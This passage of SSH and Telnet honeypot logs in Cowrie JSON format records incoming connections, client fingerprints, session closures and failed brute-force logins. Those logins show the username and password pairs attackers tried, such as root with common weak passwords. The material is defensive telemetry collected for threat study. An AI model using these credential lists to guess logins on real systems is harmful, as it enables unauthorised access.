k-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:09.590861Z","src_ip":"34.39.58.191","session":"bb91cc777a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ss1234","message":"login attempt [root/p@ss1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:09.920211Z","src_ip":"34.39.58.191","session":"bb91cc777a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:10.997798Z","src_ip":"34.39.58.191","session":"bb91cc777a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01157331466675,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:35.083790Z","src_ip":"89.43.134.59","session":"8015df73580d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36866,"dst_ip":"159.203.135.109","dst_port":22,"session":"91d553e5772c","protocol":"ssh","message":"New connection: 159.203.92.129:36866 (159.203.135.109:22) [session: 91d553e5772c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:42.244796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:42.249332Z","src_ip":"159.203.92.129","session":"91d553e5772c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:42.266858Z","src_ip":"159.203.92.129","session":"91d553e5772c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accelrys","password":"accelrys123","message":"login attempt [accelrys/accelrys123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:42.301164Z","src_ip":"159.203.92.129","session":"91d553e5772c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:43.308432Z","src_ip":"159.203.92.129","session":"91d553e5772c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00877046585083,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:50.648605Z","src_ip":"89.43.134.59","session":"10c49d301916","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00268292427063,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:52.543436Z","src_ip":"89.43.134.59","session":"a57fa131df1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":33164,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c3b63d4ce7c","protocol":"ssh","message":"New connection: 43.160.206.186:33164 (159.203.135.109:22) [session: 9c3b63d4ce7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:53.363531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:53.367364Z","src_ip":"43.160.206.186","session":"9c3b63d4ce7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:53.607575Z","src_ip":"43.160.206.186","session":"9c3b63d4ce7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00115942955017,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:54.084616Z","src_ip":"89.43.134.59","session":"9fc7410e025d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cp123456","message":"login attempt [root/Cp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:54.589253Z","src_ip":"43.160.206.186","session":"9c3b63d4ce7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":64917,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d23e877ab0f","protocol":"telnet","message":"New connection: 89.43.134.59:64917 (159.203.135.109:23) [session: 0d23e877ab0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:55.120976Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:55.829395Z","src_ip":"43.160.206.186","session":"9c3b63d4ce7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":63197,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6a9a6056f0f","protocol":"telnet","message":"New connection: 89.43.134.59:63197 (159.203.135.109:23) [session: c6a9a6056f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:56.393036Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":35306,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb32e6908701","protocol":"ssh","message":"New connection: 34.39.58.191:35306 (159.203.135.109:22) [session: cb32e6908701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:01.544976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:01.549489Z","src_ip":"34.39.58.191","session":"cb32e6908701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:01.623749Z","src_ip":"34.39.58.191","session":"cb32e6908701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd321","message":"login attempt [root/passwd321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:01.953509Z","src_ip":"34.39.58.191","session":"cb32e6908701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:03.040740Z","src_ip":"34.39.58.191","session":"cb32e6908701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01296854019165,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:15.342776Z","src_ip":"88.126.185.65","session":"663a47719c59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52992,"dst_ip":"159.203.135.109","dst_port":22,"session":"522fdde9c235","protocol":"ssh","message":"New connection: 159.203.92.129:52992 (159.203.135.109:22) [session: 522fdde9c235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:26.553747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:26.558634Z","src_ip":"159.203.92.129","session":"522fdde9c235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:26.563288Z","src_ip":"159.203.92.129","session":"522fdde9c235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accept","password":"123456","message":"login attempt [accept/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:26.574563Z","src_ip":"159.203.92.129","session":"522fdde9c235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:27.581961Z","src_ip":"159.203.92.129","session":"522fdde9c235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":37786,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9e834f492a9","protocol":"ssh","message":"New connection: 161.132.4.167:37786 (10.17.0.5:22) [session: c9e834f492a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:43.519784Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:43.816773Z","src_ip":"161.132.4.167","session":"c9e834f492a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":33218,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec10e51c74b8","protocol":"ssh","message":"New connection: 43.160.206.186:33218 (159.203.135.109:22) [session: ec10e51c74b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:53.370431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:53.378580Z","src_ip":"43.160.206.186","session":"ec10e51c74b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:53.624503Z","src_ip":"43.160.206.186","session":"ec10e51c74b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root11","password":"root11","message":"login attempt [root11/root11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:54.640659Z","src_ip":"43.160.206.186","session":"ec10e51c74b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:55.895719Z","src_ip":"43.160.206.186","session":"ec10e51c74b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":48560,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5a008df9f1b","protocol":"ssh","message":"New connection: 34.39.58.191:48560 (159.203.135.109:22) [session: c5a008df9f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:56.254986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:56.259892Z","src_ip":"34.39.58.191","session":"c5a008df9f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:56.334367Z","src_ip":"34.39.58.191","session":"c5a008df9f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Shen1234","message":"login attempt [root/Shen1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:56.664885Z","src_ip":"34.39.58.191","session":"c5a008df9f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:31:57.741822Z","src_ip":"34.39.58.191","session":"c5a008df9f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.29.4.103","src_port":43446,"dst_ip":"10.17.0.5","dst_port":22,"session":"00a11bd0227c","protocol":"ssh","message":"New connection: 121.29.4.103:43446 (10.17.0.5:22) [session: 00a11bd0227c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:06.628370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:06.636811Z","src_ip":"121.29.4.103","session":"00a11bd0227c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:32:06.870110Z","src_ip":"121.29.4.103","session":"00a11bd0227c","protocol":"ssh"}
